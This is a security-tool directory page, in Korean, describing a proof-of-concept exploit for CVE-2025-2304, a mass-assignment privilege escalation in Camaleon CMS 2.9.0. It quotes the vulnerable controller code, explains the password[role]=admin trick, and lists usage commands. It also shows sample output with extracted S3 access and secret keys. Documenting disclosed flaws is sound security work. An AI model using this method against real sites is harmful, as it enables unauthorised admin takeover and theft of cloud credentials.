Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-2304 — Camaleon CMS v2.9.0에서 updated_ajax 엔드포인트의 부적절한 매개변수 처리를 통한 인증된 권한 상승 | Kitploit
도구/GitHubGitHub/alien0ne/cve-2025-2304
Privilege EscalationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubalien0ne/cve-2025-2304

CVE-2025-2304

Camaleon CMS v2.9.0에서 updated_ajax 엔드포인트의 부적절한 매개변수 처리를 통한 인증된 권한 상승

저장소 보기
1936개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Camaleon CMS 2.9.0 – 인증된 권한 상승 (역할 변경) + 선택적 S3 구성 유출

대상: Camaleon CMS v2.9.0
유형: updated_ajax의 대량 할당(mass-assignment)을 통한 인증된 권한 상승 (role 필드)
추가 사항: 권한 상승 후 인증된 사용자가 접근할 수 있는 관리자 설정 페이지에서 S3 구성 선택적 추출

개요

이 저장소에는 다음을 수행하는 Python 개념 증명 스크립트가 포함되어 있습니다:

  1. 유효한 자격 증명으로 Camaleon CMS 관리자 패널에 로그인합니다.
  2. /admin/profile/edit에서 CSRF 토큰을 가져옵니다.
  3. updated_ajax 엔드포인트를 호출하여 password[...] 필드를 업데이트하고 permit!을 악용하여 password[role]=admin을 설정합니다.
  4. 선택적으로 (-e) /admin/settings/site에서 S3 구성 값을 추출합니다.
  5. 선택적으로 (-r) 실행 후 역할을 원래 값으로 되돌립니다.

이 동작은 관련 권고에 설명된 안전하지 않은 대량 할당 패턴과 일치합니다:

  • Tenable Research Advisory: TRA-2025-09

근본 원인 (취약점)

아래 컨트롤러 액션은 permit!을 사용하여 사용자를 업데이트합니다:

root@kitploit:~
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

permit!는 password 아래의 모든 키를 허용하므로, 공격자는 다음을 보낼 수 있습니다:

  • password[password]
  • password[password_confirmation]
  • password[role]=admin

그러면 애플리케이션이 이를 수락하여 사용자의 역할을 업그레이드합니다.

영향

  • 취약한 경로에 접근할 수 있는 모든 인증된 사용자는 자신의 역할을 admin으로 설정하여 잠재적으로 권한을 상승시킬 수 있습니다.
  • 권한 상승 후 관리자 전용 페이지(예: 사이트 설정)에 접근할 수 있게 되어 민감한 구성 값(예: S3 키)이 유출될 수 있습니다.

요구 사항

  • Python 3.8+
  • requests

의존성 설치:

root@kitploit:~
pip install requests

사용법

기본 권한 상승 (인증됨)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test

권한 상승 + S3 구성 추출 (-e)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e

권한 상승 + 역할 되돌리기 (-r)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -r

권한 상승 + 추출 + 되돌리기

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e -r

인자

실행 예시

root@kitploit:~
python3 exploit.py -u http://alienone.in -U test -P test -e -r

출력 예시

root@kitploit:~
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIAF3A388ECF117D966
   s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
   s3 endpoint: http://localhost:54321
[+]Reverting User Role
   User ID: 5
   User Role: client

PoC가 로그인을 확인하는 방법

이 스크립트는 로그인 POST 후 반환된 HTML에서 /admin/logout 링크가 있는지 확인합니다.
로그아웃 링크가 있으면 세션이 인증된 것으로 간주합니다.

CSRF 토큰 참고 사항

Camaleon은 Rails 스타일의 CSRF를 사용합니다. 일반적으로 두 가지 일반적인 위치에서 토큰을 볼 수 있습니다:

  • 폼의 숨겨진 입력: name="authenticity_token" value="..."
  • 메타 태그: <meta name="csrf-token" content="...">

PoC는 /admin/profile/edit에서 메타 csrf-token을 가져온 후 다음에 사용합니다:

  • 요청 본문: authenticity_token=<token>
  • 헤더: X-CSRF-Token: <token>

면책 조항

이 코드는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다 (예: 랩, CTF, 명시적 허가를 받은 환경).
소유하지 않거나 테스트 허가를 받지 않은 시스템에는 사용하지 마십시오.


참고 자료

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2304
  • https://www.tenable.com/security/research/tra-2025-09
  • owen2345/camaleon-cms#1109
  • owen2345/camaleon-cms@179fd6b
  • https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
  • https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2025-2304.yml
도구 다운로드
플래그설명
-u, --url기본 URL (예: http://alienone.in)
-U, --username유효한 사용자 이름
-P, --password유효한 비밀번호
--newpass업데이트 요청에 전송할 비밀번호 값 (기본값: test)
-e, --extract설정 페이지에서 S3 구성 추출
-r, --revert권한 상승 후 역할을 원래 역할로 되돌리기